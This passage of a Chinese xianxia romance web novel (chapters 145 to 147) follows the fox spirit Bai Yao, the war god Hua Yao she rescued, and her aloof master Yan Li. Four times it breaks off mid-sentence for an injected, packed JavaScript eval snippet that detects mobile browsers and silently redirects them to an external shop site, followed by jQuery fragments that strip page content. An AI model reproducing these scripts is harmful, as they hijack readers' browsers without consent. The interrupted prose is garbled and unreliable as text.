“诶,你要去哪儿?你伤还没好呢!”白瑶生怕华尧就这么跑了,那她这些天的照料不就打水漂了,于是赶紧追了出去。 未走几步,洞外一阵沙尘扑面而来,白瑶挥手扬开,只见华尧伫立在洞外不远处。 华尧披散的长发随风而动,他静静地看着眼前的丛林,深邃的眼眸就像一个漩涡,周身气息僵持着,浑身散发出一种与生俱来的威慑力。他身上黑色的衣袍因沾上了血迹越发幽黑,未蒙尘的地方露出淡淡的金色,是先前在昏暗的洞穴里难以察觉的。 青丘还有这号人物?白瑶原本以为他是魔域之人,但这几天贴身照料、旁敲侧击,并没有发现和魔域相关的端倪。他到底是什么身份? 华尧长臂一挥,白瑶还没来得及看清是怎么回事,就见一个硕大的光球在丛林中突飞猛进,穿过重重障碍,一举突破了数十棵苍天大树,消失在丛林尽头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137808|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >几秒过后,地动山摇,响声如雷,飞禽哗哗逃走。 这仙术破坏力惊人,需要深厚的仙力,常人恐怕千万年的修炼都难以炼成。白瑶在惊愕之余不禁流露出一丝兴奋和欣赏,冲华尧高声道:“这是什么仙术?你到底是谁?” 华尧缓缓收回手,侧头不带感情睥了她一眼:“你又是谁?”这些天面对她的试探,华尧装作不知,但想要从她的衣着打扮、话里话外中究其身份却也不能。她将自己的身手隐藏得很好,没有半点泄露。 两人对峙之间,各自思忖着对方的身份,不约而同地都想到了魔族。魔族在天界已是声名狼藉,只要不是好人好事,推给魔族就对了,真是哪里需要哪里搬。 白瑶有些吃不准,但任谁看了华尧暴戾的脾气、身法也不会与天庭正道扯上联系。再加上神魔大战刚结束不久,合理怀疑他是打了败仗被天兵追捕的魔族,受了伤不得已在青丘苟且。 要不是看他长相俊美,她才懒得多此一举。这下可好,她竟然救错人了?真是美色误人! 白瑶神情纠结,郁闷之色溢于言表:“你来青丘想做什么?” 华尧见她眼中忽而暗淡,心中不由也跟着沉下去几分,却不回答她,而是反问道:“你为什么救我?” 几个来回之间,他不仅没有回答白瑶的问题,还抛出了新的问题。白瑶从未见过如此难缠的人,拧眉烦躁地说:“呵。手长在我身上,我想救就救了。” 华尧抱起双臂,带着戏谑望向她:“嗯。腿长在我身上,我想来就来了。” 白瑶吃瘪,气得咬牙切齿,瞬间跃至华尧跟前,与他动起手来。白瑶从来没有莫名其妙打野架的习惯,但是眼看她刚养好的鸭子就要飞了,那可不行! 不行,那就再把他打伤! 反正不能让他跑了!必须留下做侍卫! 气流携着落叶从飞舞的袖边簌簌飘下,华尧侧身避过白瑶的一招招攻击,目光淡定地打量着她的身法,眼色越发深沉,眼底浮现一丝复杂的神色。 这个女人的仙力和仙术虽然远不及他,但是论身手、气度、胆识、谋略......也不似普通的山间狐妖,她年纪尚小,若是有意栽培,假以时日说不定是个角色。 华尧眯了眯眼,这样的人怎么会独守在深山之中,她是什么人?有什么目的? 一黑一粉两道身影在绿林中缠斗,两人身法轻盈,就像两片叶子随风起舞,速度快得看不清动作。华尧伤势初愈,行动却丝毫没有受影响,在看透白瑶的动作之后飞快一击,制住对方的同时钳住了她的手臂,将她转了个身禁锢在身前。 白瑶只觉眼前天翻地转,身体突然动弹不得,挣扎了几下,又气又急:“放开我!” 华尧垂眸面无表情地看着她,幽黑的眼眸看不出情绪,直看得她心底发凉。他想干什么?他该不会要下毒手吧? “我好歹救了你,你就是这么对待救命恩人的吗?”白瑶向后喊道。 华尧看着她的侧脸没有出声,白瑶未得到回应,心里更慌了,叫道:“啊啊啊啊啊非礼啊!不要脸!” 带有压迫性的声音在身后沉沉地响起:“吵死了。闭嘴。” “你叫我闭嘴我就闭嘴?你是哪位啊?你有种放开我让我捅两刀,还了我救你的恩情!” 手臂上的力量陡然增加,白瑶痛得叫出声,华尧才略略松了松手,不过依然将她压制得无法动弹。 145. 第 145 章 白瑶受制于人,心里十分不爽,又恐动静太大让师父发现。 要是师父知道她在外面藏了男人,她就完了。 青天白日,贻笑大方! 她一定会被扫地出门的! 白瑶犹豫之间手臂又是一痛,华尧倾身在她耳畔说:“在想什么?想叫人来救你?” 白瑶剧烈挣扎几下:“不用你管!” 身后沉默了一会儿,问道:“你......成亲了吗?” 白瑶一愣,不明白他怎么会在这种场合、这样的时机,问出这种毫无关系的问题,但本着不能让他舒服的想法,胡诌道:“是啊,我夫君清新脱俗、出尘不染、身形昳丽、武艺高强,比你好看又温柔体贴,不然也不会想让你当侍卫......啊痛痛痛痛!给我放手啊!” 白瑶痛得眼圈都红了,像受了天大的委屈,但是憋着没有爆发:“我说的都是实话,你欺负弱小算什么本事?” 白瑶感觉手臂上一松,找到了一丝破绽,从他手中挣脱出来,跳开几步回头见他脸色不大好看,心里一喜,继续吹嘘道:“虽然你比不上他善解人意、温婉大方,但是也不要灰心,能做我侍卫也很光荣。你若是以后出门遇到事儿了,大可以报我名字,不过有没有用就不知道了。” 华尧脸色更难看:“报你的名字?小闲?”这人不人狗不狗的名字? 白瑶顿了一下:“哈哈哈哈哈是啊。” 信了她才有鬼。 暮色沉沉,白瑶找了个借口赶紧开溜:“哎呀,天色不早,我要回家了。” 华尧站在原地未动,身后是斜斜的夕阳,他一身黑袍在阳光下泛着淡淡金色,庄重又威严。 “明日你还来吗?” 白瑶脚步微顿,又继续向前走去,边走边朝身后嚷嚷道:“来,还要你做我侍卫呢,为何不来?不来我这些天花的时间不就白费了,必须来!”看来不仅没有被华尧的一番威吓唬住,甚至可以说没有将他放在眼里。 白瑶溜进山外云境,见院子里无人,肩上一松哼着小曲儿走回房里。她神色兴奋,脚步轻快,一点也看不出修炼后的疲态。 院内很快恢复了安静,隐在窗后的人影眼睫微微一颤,眸色如雾般看不真切。 华尧在林中练功,一招一式强劲有力,白瑶就坐在树上观摩,心道他好像比想象中还要厉害,于是更加坚定了不能放过他的信念。 华尧在她热烈的目光下颇为不自在,暗自揣摩了半晌,以为白瑶是对他的仙术有兴趣,转身对她说:“作为报答,我可以提点你几招。”说着,朝她抬了抬手。 白瑶心里一动有些想学,但一想到晏离,又觉得不应该放着正经师父不学,去偷学别家的技艺。若是晏离知道了肯定不高兴,晏离性子冷淡,若是疏远了,不知又要花多少年才能挽回在他心中的形象。 若要问到底是仙术重要还是师父重要?当然是师父重要,只要师父还在,就能学到更厉害的仙术。 何况这位兄台来历不明,虽然看上去很强,谁知道他的仙术是什么路数?若是一不小心学岔了,她会不会走火入魔? 于是白瑶眼珠一转,避重就轻地说:“作为报答,你只需乖乖待在我身边。既然你这么厉害,我就不用学了。” 华尧将她的表情变换尽收眼底,幽深的眼眸沉思片刻。 她不像是对仙术不感兴趣。为何拒绝?她在顾虑什么? 不过华尧并不十分在意她的顾虑是什么,在他看来,他作为天庭第一武神,能屈尊指点她一二,简直是天大的恩惠。这个女人不感恩戴德也就罢了,居然一口拒绝了。华尧的眼神中流露出一丝危险的神色,抬手之间,一只硕大的蓝色光球凝聚在掌中。 那光球又大又亮,凝聚的仙力强劲又霸道,四周的气流随之高速飞旋,落叶在他身边疯狂起舞。 “哇呜。”白瑶看得起劲,就差拍手称赞,丝毫没有发现有何不对。直到华尧目光不善地紧紧盯着她越靠越近,旋转的气流吹得她刘海乱飞、睁不开眼睛,才慌忙问:“你要做什么?” 华尧身上的肃杀之气渐渐逼近,带着强烈的压迫感,让白瑶不由有些紧张。 巨大的光球脱手而出,映在白瑶的瞳孔中越来越大,身旁的草木被吹得东倒西歪。白瑶有些呼吸困难,很快向外跑去,边跑边骂道:“华尧,你搞清楚,你是要报恩不是报仇!你到底想干什么?快停下!” 那光球的威力着实巨大,见山劈山,见树折树,一会儿工夫林子倒了一大片,露出一块一览无余的平地。 尘土散去,华尧步步逼近,低沉又压抑的声音传来:“不识好歹。” 白瑶跃上枝头,气喘吁吁地回头冲华尧叫道:“你突然发什么疯?”话音未落,她又跳到另一棵树梢,刚才的那棵树被巨大的气流连根拔起,轰隆一声栽倒在地。 逃难的动物飞快向远处奔走,鸡叫鸟鸣不绝于耳。 山中生灵的慌乱让白瑶心头一紧,闭上眼几秒钟,再睁开时眼底变成了血红色,她咬牙道:“你有什么事冲我来!”她跃至上空反推一掌,一股白色仙力脱手而出,与光球猛一对冲,光球的速度滞缓了几分,两股力量在半空中相互抗衡、互不相让。 他的仙力像一堵严实紧密的墙,白瑶打在墙上,墙纹丝不动,而她的力气却一点一点快要耗光了。 “感受到了我们的差距吗?我再问你一次,你学是不学?”华尧站在地面望着白瑶,身体紧绷,脸色也不好看。 白瑶冷笑一声:“呵。我知道我很受欢迎,想教我的人从青丘排到了天庭,你若是真想教,就乖乖留下来排队。” 华尧眯了眯眼,手上加大了力度。 “你以为我在和你商量?不,我是命令你。” 在青丘的地盘上命令未来的青丘之主? 白瑶不禁高看华尧几分,他是真傻还是真有本事? 身上的力气随着输出的仙力逐渐消耗殆尽,她的身体向后划了几米,在空中堪堪稳住身形。她的脚下铺满了翠绿的山林,在他们大战之际连连崩塌,若是让华尧再破坏下去,这座山恐怕就要寸草不生了。 光球突然猛烈地闪烁了一下,吸收了白瑶打出的仙力,一瞬间转而向白瑶迎面扑来。剧烈的光刺得她睁不开眼睛,白瑶挡着脸迅速向后躲去。 电光火石之间,余光处飘过一缕白绸,就像一支乘风而上的羽毛,与她擦肩而过,向那光球飘去。 一股凉意瞬间包裹了全身,白瑶脑中嗡的一声,连他是如何三两下撩拨就轻易地化开了攻击,使之转向上升,在天空轰然炸开都没看清。 白瑶降落在地面,不远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137809|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色的背影缓缓落地,侧身抬眸回望她。 那眼神比往日更加清冷,仿佛在看世间的一花一叶,没有一丝温度和流连,仿佛他们之间并未有过几百年的相识,只是无关紧要的匆匆一瞥。 “......” 白瑶生来放荡不羁,很少真的怕过什么,但此刻心里就像是突然被刺穿了一个洞般,凉气涌入心口。 远处华尧眼神一变,带着探究在晏离身上打量。 晏离不说话,白瑶浑身僵硬不敢动,直到听到晏离清冷的声音说:“过来。”白瑶才心上一松,小心翼翼地想要靠过去。 “别动。”华尧突然出声喝止,抬眉睨了晏离一眼,问道:“他是谁?”是他运气太好还是青丘深藏不露?这样仙力高强之人居然随处可见。 他清冷淡漠,若一朵遗世独立不染纤尘的莲花,生于尘世,却高于尘世,仿佛世间纷杂都是过眼云烟,与他无关。 难道这就是小闲口中那位清新脱俗、出尘不染、身形昳丽、武艺高强的……夫君? 嗤…… 华尧私以为晏离样貌气质比他还是逊色不少。 晏离在华尧气势的压迫下,神色依旧淡然,与华尧双目相对,眼中丝毫不见惊慌,却是对白瑶冷硬地说:“过来。” 白瑶犹豫了一下,抬腿便要过去,身旁传来一声:“你过去试试?” 徒儿要见师父哪里有华尧说话的份儿?白瑶白了华尧一眼,走到晏离身边。 华尧的目光微滞,与晏离冷淡中带着一丝探究的目光相撞,气氛又低沉了几分。 晏离对身后的白瑶问道:“他是谁?” “他叫华尧。” 晏离神色微微一怔:“华尧上神?” “对,就是......"白瑶一顿,拧眉疑惑地看了远处的华尧一眼:"不对吧......" 华尧上神?上什么?什么神? 白瑶立刻不淡定了,她无法接受华尧居然是天庭上神。他若是上神,那怎么留下给她当侍卫? “天庭上神华尧?”白瑶挑了下眉。 华尧并未否认,露出耐人寻味的笑容。 “他怎么在这里?” “他受伤了。”白瑶小心答道,转头看见对面华尧昂首挺胸、器宇轩昂、容光焕发,状态比她都好,哪里是刚受过伤的样子。 白瑶心里一阵崩溃:师父!你要相信我啊! 华尧沉着脸在一旁看两人眉来眼去,特别是小闲一副讨好的样子,怎么看怎么碍眼,让他莫名有些烦躁。 晏离将华尧的神色尽收眼底,眼底划过一丝不易察觉的波澜:“华尧上神刚才为何为难她?” 华尧并不直接回答他,而是深深地看了白瑶一眼:“你是她何人?” 白瑶抢着说:“他是我师父。” 华尧嘴角扬起浅淡的笑意,但眼神却渐渐冷了下来。 难怪她不接受他的指点,原来这就是她的顾忌。 “你是小闲的师父?”华尧问。 “小闲?”晏离淡淡地瞥了白瑶一眼。 “哈哈哈哈......"白瑶尬笑几声,低头叹了口气:"是我自己起的。” 华尧拧眉,沉声问道:“你到底是谁?” 白瑶这才说了真话:“我叫白瑶。” 146. 第 146 章 华尧了然。青丘白姓是贵姓,特别是族中的女孩更是养尊处优,这位白瑶生于山野,约莫是女帝族中的旁支。 “青丘白家白瑶。我记住了。”华尧的神色认真严肃,倒真像是要牢牢记住白瑶的名字。 “英雄莫问出处,倒也不必记住。”看华尧那神色,不知道的还以为她做了什么对不起他的事情,谁能想到她才是救命恩人? 唉,头疼头疼...... 她现在知道了什么叫做请神容易送神难。 华尧问出了白瑶的身份,转向晏离,回答他刚才的问题:“我见她仙术不精,欲指点她一二。” 仙术不精说的是白瑶,但打的却是晏离这位师父的脸。一时间白瑶心里又开始翻江倒海地不安,华尧可以说她,但是不能说晏离,毕竟晏离什么也没做,都是她自己在外惹是生非。 “你这是诚心想要指点的态度吗?你都快把山移平了。”白瑶指着地上的狼藉不满地叫道。 华尧扬起唇角:“我并未使出全力。” 华尧虽面上带笑,却抱着双臂身上隐隐散发出了敌意,一双犀利的眼睛紧紧锁着师徒二人,身上释放出的压迫感让人摸不清他的意图。 清风拂过,一黑一白两道身影在杂草的摇摆中纹丝不动,气氛犹如一根绷紧的弩。 半晌,晏离问道:“不知瑶儿有何冒犯?” 白瑶心里一震,恍惚地眨了眨眼睛,后背线条渐渐绷紧。晏离不曾叫过她瑶儿,但他却如行云流水一般自然而然地脱口而出,他该不会......在心里这么念过吧...... 一股欣喜之情涌上心尖,仿佛有一朵烟花在她头顶炸开,炸得她头晕目眩。白瑶强忍着不去看晏离此时的神情,但是眼睛却亮晶晶的,嘴角偷偷露出了狡黠的笑意。 “冒犯?”华尧看了白瑶一眼,脸色沉了下去:“对,她是冒犯到我了。” 白瑶心里正高兴,听到华尧的话,笑容一僵:“你受伤了,我好心将你捡回来照料,对你已是仁至义尽,你不懂感恩就算了,还反咬一口。” 捡回来?他又不是小猫小狗!华尧怒意更甚:“你照顾我是因为想让我留下给你做侍卫,你好大的胆子,居然敢让天庭上神给你做侍卫。” 白瑶心里又暗暗一缩,不敢去看晏离的神情,只觉得周身温度好似冷了几分。 “天庭上神怎么了,我还......我还青丘白家人呢,你不要拿你的身份压我,我不稀罕。不管我当初为了什么,我救了你是事实。算了,我宽宏大量不跟你计较,也不需要你报恩了,师父我们回去吧。” 晏离与白瑶转身便走,走出数十米,白瑶回过头皱眉问道:“跟着我干嘛?” 身后华尧与他们只有几步之遥。 华尧目光闪烁:“我受伤了,要好好休息。”意思大抵是要跟着他们回去。 白瑶疑惑道:“你在山洞待了这么长时间,怎么现在想起来要好好休息了?” 华尧跟了一路,随他们来到了山外云境。 晏离喜欢清静,山外云境是断不可能让陌生人进入的。白瑶在心里暗骂华尧不识好歹,回头严肃道:“别跟着我们了。” 华尧止步在外,目光深沉地望着白瑶,直到她毫不客气地将门关上。 烛火幽幽,映在窗棂上。 晏离回来后再没和白瑶说话,刚一入夜便早早进了卧房。 白瑶打了个寒噤,感觉今天的夜特别冷,心里不由地生出一丝丝懊悔,但很快又倔强地压了下来。 ——不就是在外面捡了个人,至于吗? 白瑶在厅堂里转了几圈,烛光在她带起的微风中轻轻摇曳,映在门扉上的人影忽大忽小。不知为何,她很想敲开晏离的房间看看他到底在做什么。不过一想到晏离可能会因此与她产生嫌隙,她又收回了手转身踱步而去。 她深吸一口气,缓缓叹出。 叹息声穿过房门,落入另一侧打坐的晏离的耳中。他双目轻阖,沉静地坐在塌上,试图将今日忽然被搅乱的思绪摒除在外。 可是他眼前忽而又浮现今日在山中看到华尧的那一幕,心中涌上一种难以形容的失望。 这一声叹息让他眼睫一颤,继而轻轻睁开眼睛,望着房间的一处角落失神。等他回过神来时,一声轻叹从口中溢出,一晃神他居然也做了同样的动作。 白瑶是可有可无的人,她总有一天会离开这里,她要做什么与他无关,他不该一反常态。 他的思绪渐渐沉下来,刚才抽离、洗涤的低沉再次凝聚。 不多时,门外传来白瑶清亮的声音:“师父,你歇息了吗?” 晏离沉默片刻,推开门,淡淡看了她一眼,这一眼冷若冰霜,像冰棱一样扎进白瑶的瞳孔。 白瑶产生了片刻恍惚,心中突如其来的窒息几乎让她发不出声音。以她这些年对晏离的了解,他若是摆出脸色批评她,或许事情没那么严重,但若是面上平静无常,也许连挽救的余地也没有。 不等晏离发问,白瑶深吸一口气,说:“师父,我可以解释。我只是在山上修炼时碰巧遇见华尧的,他受了重伤昏迷不醒,我看他样貌端正也许是个好人,就这么放任不管他可能会被山里的妖怪分食,所以就顺手救了他。” 晏离的视线略过她,径直走到桌前倒了一杯清茶,垂眸视线落在茶杯氤氲的热气上,好似没有听见她的解释。 白瑶咽了咽喉咙,追在他身后,语气急促了几分:“华尧为了报答我的救命之恩,想要教我几招仙术。但我想着我只有一个师父,仙术不能乱学,没有同意,于是他就开始发疯。不过他是天庭上神,也许是因为刚受了伤,所以没控制好力度。 “师父,你就原谅我吧,我和华尧真的没什么关系,要说有关系那就是恩将仇报的关系。” 晏离抿了口茶,眼睫低垂,依旧没有给白瑶任何眼神。 白瑶在他身侧望着他的侧颜心如擂鼓。 他在听吗? 他在想什么? 他想听什么? 白瑶豁出去了,凑得更近了些:“师父,你想知道什么我都告诉你,你不要不理我。”见晏离没有反应,她心里又是一酸,伸手去扯他的袖子,可怜巴巴地望着他,倒像是她受了委屈。 晏离终是抬眼看了她一眼,只是那眼神依旧算不得温和,像是冬日的湖泊,结满了又厚又冷的寒冰:“为什么瞒着我?” 白瑶心中一动,总算有点明白他在别扭什么。原来不是在纠结她和华尧的关系,而是为什么没有将华尧的事情告诉他。 晏离见她突然闭口,神色迟疑,眼神蓦地黯了一下。这一变化被白瑶敏锐地捕捉到,心里微微一动:“我说,我都说。华尧毕竟是个陌生男子,我将他安置在外,怕师父知道了不高兴,只想等到合适的时机再说。” 晏离深深地看着她,带着一丝探究:“没有其他的原因?” 白瑶舔了舔唇,知道晏离八成已经猜到怎么回事,只是想听她亲口承认。但这要怎么承认? 晏离的眼色又冷了三分,白瑶弱弱地说:“我不该被他的美色所惑,没搞清楚他的身份就收留他。不该瞒着师父这件事,不该遇到危险不联系师父,不该师父问我还拐弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137810|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹角......" 很好。 晏离听到她亲口认错本该松一口气,但不知为何心头一颤,一丝陌生又艰涩的感觉缓慢地从心底爬了上来。他喉头一滚,那一抹微妙的感觉很快落了回去,消失得无影无踪。 美色所惑...... 他教的徒弟竟然是这么肤浅之人...... 着实让人不悦。 “明日开始负重晨练一年。”晏离冷冷道。 “哈?”白瑶哭丧着脸,但被晏离的眼神一扫,顿时又将口中的哀嚎咽了回去。 。 三日后...... 白瑶扶着树干低垂着头大口喘息,她腿上一松,忽而跌坐在地上,汗珠顺着额前的碎发一颗一颗染湿了衣襟。她身上绑着负重绳,会随着她的身体机能变换重量,也就是说这根绳子自始至终都会维持让她感到乏力的重量。 她歇了一口气,扶着树干又缓缓站起来向前挪了一步,在土地上留下了一个坑,再挪一步,膝盖因受力不均险些跪了下去。 某黑衣人抱着双臂站在树梢:“你的好师父就是这样对你的?” 白瑶又向前挪了几步:“不......不用你管......" "嗤。”华尧从树上纵身一跃,跳到她身边,拎起白瑶的胳膊将她带到树边,勾起她手臂上缠绕的负重绳:“你是妖仙,练体力有什么用?他不过是想折磨你罢了。” 白瑶打开华尧的手:“你不懂,我师父素来清静淡泊,能折磨我说明他对我还是很上心的。” 华尧脸色变了变:“你听听你说的什么话,你就这么相信你师父?我看你是被他练傻了。” 白瑶莫名其妙地看了他一眼,转头向山上挪去:“不信他难道信你,信你恩将仇报?信你阴晴不定?信你恐怕不知什么时候就没命了。” 华尧漫步跟上:“他若是真想教你,为何浪费时间让你学些无用的东西?他不过是想牵制住你,让你从身体到思想都离不开他罢了。” 白瑶忽而停住了脚步,林中一阵清风拂过,斑驳的树影在印在她素色的衣裳上,如同变幻莫测的暗纹。 华尧一看她背影有些萧瑟,顿时觉得有戏,接着说道:“你别被他一副冷淡的模样欺骗了,怎么,认清你师父的真面目了吗?” 华尧紧紧盯着白瑶,见她的肩膀微微颤抖,心中莫名愉悦,故作善意道:“你也不必太忧心,既然知道他是什么人,早些离开便是。” 白瑶没有回应,身体颤抖的幅度越来越大。 “喂,你怎么了?”华尧觉得有些不对,上前拍了拍她的肩旁,突然听到一连串诡异又低沉的笑声。 白瑶猛地抬过头,不仅没有丝毫伤心之色,反而双眼放光,身体兴奋地微微颤抖,嘴角越来越弯:“你说真的?他真的不想让我离开他?” 华尧默默收回手,脸色沉了几分:“你就听懂了这个?” 白瑶又卖力向前走去,比先前的速度快了不少。 黑影又落在了她身前挡住了她的路,沉声道:“你到底有没有听懂我说的话?” 白瑶绕过他,边喘气边说:“你别白费力气了,我和师父几百年朝夕相处的情谊,不是你三两句话就能挑拨的。” 山间忽而风起,两人衣袂随风扬起,几片落叶从两人之间飞旋穿过。 华尧静默在林中,望着白瑶越来越远的背影,小小的身影负重前行,不禁涌上一股烦躁之意。 “他相信你吗?” 白瑶脚步一顿,像没听见一样向前走去。 “他未必信你。” 147. 第 147 章 白瑶愤然回头:“你这人有完没完?你若是想做我的侍卫就乖乖跟着我,不想就从哪儿来回哪儿去。” 华尧脸色一黑,眼底翻涌起压抑、愤怒的情绪,气势如同猛虎一般呼啸而来。白瑶后退几步,心里暗道,他一不高兴就要暴走,真是给惯的。 一袭黑袍落在白瑶面前,带着危险的神色说:“你想知道你师父是怎么看待你吗?” 白瑶警惕地后退一步:“你要做什么?” 白瑶原本以为自己已经够疯了,没想到能遇见一个比她疯得更彻底的华尧。华尧突然上前拎起她的后衣领,腾空而起跃上一朵白云,眨眼间就前行了数百米。 “如果你是想挑衅我师父委实没有必要,他不会搭理你的。”白瑶望着下方一晃而过的绿林,心中拔凉拔凉,好似冷风都从衣领灌了进去。 华尧绷着脸说:“你只需好好看着。” 不一会儿祥云降落在山外云境前,白瑶从云上跳下来,向后看了一眼她一个上午三个时辰走过的路,欲哭无泪:“今日白走了。” 华尧并不搭理她,而是面目严肃地对着山外云境,厉声道:“晏离公子,听闻你对弟子的责罚,我认为委实严厉了些。” 白瑶惊奇地瞥了他一眼,难道他是来给她求情的? 山外云境透明的结界在阳光的照耀下忽而一闪,里面传来一个清冷的声音:“华尧上神觉得应该如何?” 白瑶心里一颤,不知为何她觉得结界那头有一道带着深意的眼神落在她身上,让她毛骨悚然。 华尧看了白瑶一眼,朗声道:“不如算了。” 结界那头传来一声轻笑,随风飘来,像一根羽毛轻柔地在白瑶心上扫过。她还没来得及沉醉,突然头皮一紧,感觉有些不对。 晏离一般不笑,这笑什么意思? 结界突然变得稀薄,一个人影由淡转浓,晏离缓缓抬眼,漠然地看了一眼华尧。那眼神白瑶再熟悉不过,就是晏离心生不悦的前兆,但华尧不了解,甚至还一脸挑衅的意味。 “华尧上神是在为她求情?”晏离问。 华尧抱起双臂:“是又如何?” “我是她的师父,这个‘如何’该由我来定夺。华尧上神还是不要伸手管他人师门的事情。” 晏离的意思很清晰,华尧微微眯了下眼,身上散发出一股威压的气势。他与晏离身高相差无几,但晏离清瘦许多,在气势上华尧略胜一筹。 “嗤。”华尧笑了一声,意味深长地说:“白瑶是我的救命恩人,她因救了我而受罚,难不成救我是件错事?” “能救华尧上神是瑶儿的缘分,没有对错。我罚她与华尧上神无关。” 两人虽然面色坦然,但周围的气氛却有一丝僵持,唯有白瑶不明所以地来回观望。 晏离说责罚白瑶与华尧无关,这就让华尧有些骑虎难下。他再霸道也是天庭的上神,如何干预青丘荒山中一对师徒的关系? “那就是我会错意了。既然如此,不如将责罚的时间延后。我听闻青丘民风淳朴,这几日就让白瑶带我四处体察青丘的风土人情。” 白瑶敛眉:“你想让我陪你出游?我要你当我的侍卫,不是我要当你的侍卫。” 晏离看了白瑶一眼,那眼神颇为锐利,仿佛一眼就看穿了她。 他对华尧说:“华尧上神在青丘受了重伤还有心思游山玩水,委实令人佩服。瑶儿是自愿受罚,华尧上神不如直接问她。” 自愿受罚?华尧冲白瑶挑了下眉,你还有这种嗜好? 白瑶有苦说不出,她若是跟着华尧走了,以晏离清高的性子她又得哄好长时间。华尧阴晴不定,性情暴戾,又有上神的身份,在外吃亏的肯定是她。 华尧看白瑶犹豫不决的反应,脸色渐渐黑了。 他沉着脸:“说。”仿佛白瑶只要一拒绝,他就要炸了整座山。 白瑶有些害怕地朝晏离方向挪了一下,只见华尧眼神瞬间变得更加狠厉。 晏离忽然伸手挡了她一下,白瑶顺势抓住了他的袖子,将身体藏在他身后,露出一个脑袋,对华尧说:“你伤势刚好,不如游玩此事暂且延后,先静心调养。” 华尧眯了下眼,似乎在揣摩白瑶说的话有几分真心,但转而扯了下嘴角:“既然如此,那便叨扰晏离公子几日。”然后大步流星向山外云境内走去。 “诶......"白瑶反应过来,想要喝止。她当年花了九牛二虎之力才让晏离允许她进入,华尧若是强行硬闯,怕是不好看。 华尧停在结界前,侧头带着挑衅的目光瞥了晏离一眼:“晏离公子,不会将天庭上神拒之门外吧?” 白瑶扯了扯晏离的袖子,小声说:“师父,不如让他进去坐一坐。他这个人性情执拗得很,你越不让他进,他就越想进,说不定他进去转一圈儿觉得没意思便回去了。” 晏离眼神越发冰冷,一扬袖将袖子从白瑶手中扯出来,冷声说:“你倒是了解他。” 晏离冰冷的眼神让白瑶似乎一瞬间又回到了前些日子,在他第一次撞见华尧时表现出的漠然的样子,仿佛这些天从未将白瑶的解释听进去,也从未相信过她。 那冰冷如刀的目光深深刺痛了白瑶,她倒吸一口冷气,一股掺杂着倔强和委屈的情绪涌了上来。 而复杂的情绪之下,是深深的迷茫,对晏离过往的态度产生了一丝怀疑。或许那些靠近只是她的臆想、只是她的一厢情愿、只是她的自作主张。他从来就没有打破与她之间的那道隔阂,只是时间一久,她便忘了。 白瑶何时迁就过别人?但她的迁就在晏离眼中似乎一文不值,他只希望不被打扰,只想与她划清界限,只想让她快点回去。 这一次白瑶没有解释,脸色也跟着冷淡了下来,对华尧说:“寒舍简陋,容不下你这尊大神,你若是真想在青丘小住,可以去长乐宫。我想那里的人会很欢迎你。”她转身朝山下走去,继续她今日的负重修炼之路。 华尧感觉到她情绪转变,带着一丝玩味看了一眼晏离,神色似乎轻松了不少:“这样,我就不打扰晏离公子了。”看上去彬彬有礼,实则语气并无谦逊之意。 晏离微微凝眉,视线随着那抹霸道又嚣张的黑色隐没在绿林中。 白瑶消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137811|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉了几日,华尧就在她身边看她的笑话,仿佛看她倒霉是他人生一大乐事。 她不开心,他便开心了。 白瑶回过味来,感觉自己被华尧摆了一道。晏离天生冷淡又有边界感,不喜形于色,在华尧面前怎么可能表露出任何感情?不过她若是想要打破晏离的隔阂,走进他的内心,若是没有外力助推,着实很难。 于是白瑶对华尧说,我救了你,你总该有所表示。 白瑶的心思不难猜,总归不是什么好事,华尧倒想看看她究竟能玩出什么花样。她和华尧躲在晏离日常修炼的必经之路,待晏离靠近,便弄出了些细碎的声响吸引他的注意。 白瑶与华尧在林间一隐蔽处相对而站,视线相撞,神色皆有些别扭。 清风拂面,落叶无声,林中安静极了。 白瑶知道晏离就在附近,知道他一定淡然地看着这一切,眼中丝毫没有波澜,就像他那颗冰冷的心。但她不知哪里不对劲,就是想要搅乱那一池平静,想要捏碎那颗坚硬的心,让他再也无法冷静。 